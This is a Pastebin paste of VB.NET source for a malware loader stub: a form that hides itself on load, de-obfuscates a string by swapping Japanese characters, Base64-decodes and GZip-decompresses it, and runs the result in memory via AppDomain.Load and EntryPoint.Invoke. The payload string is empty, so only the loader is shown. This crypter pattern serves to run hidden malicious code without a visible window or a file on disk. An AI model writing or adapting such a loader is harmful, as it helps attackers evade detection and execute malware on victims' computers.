Advertisement
Guest User

Untitled

a guest
Apr 26th, 2018
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. Imports System.IO.Compression
  2. Imports System.IO
  3.  
  4. Public Class Form1
  5.  
  6. Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
  7. Me.Hide()
  8. Me.Enabled = False
  9. Me.Visible = False
  10. Me.Opacity = 0
  11. Dim fof As String = ""
  12. Dim coco As Byte() = DecompressGZip(Convert.FromBase64String(Decrypt(fof)))
  13. Dim xxx As Object = AppDomain.CurrentDomain.Load(coco).EntryPoint.Invoke("", Nothing)
  14. End Sub
  15. Public Function Decrypt(ByVal A As String)
  16. A = A.Replace("あ", "Z").Replace("国", "O").Replace("日", "1").Replace("本", "9")
  17.  
  18. Return A
  19. End Function
  20. Public Function DecompressGZip(ByVal bytesToDecompress As Byte()) As Byte()
  21. Using stream = New GZipStream(New MemoryStream(bytesToDecompress), CompressionMode.Decompress)
  22. Const size As Integer = 4096
  23. Dim buffer = New Byte(size - 1) {}
  24. Using memoryStream = New MemoryStream()
  25. Dim count As Integer
  26. Do
  27. count = stream.Read(buffer, 0, size)
  28. If count > 0 Then
  29. memoryStream.Write(buffer, 0, count)
  30. End If
  31. Loop While count > 0
  32. Return memoryStream.ToArray()
  33. End Using
  34. End Using
  35. End Function
  36. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement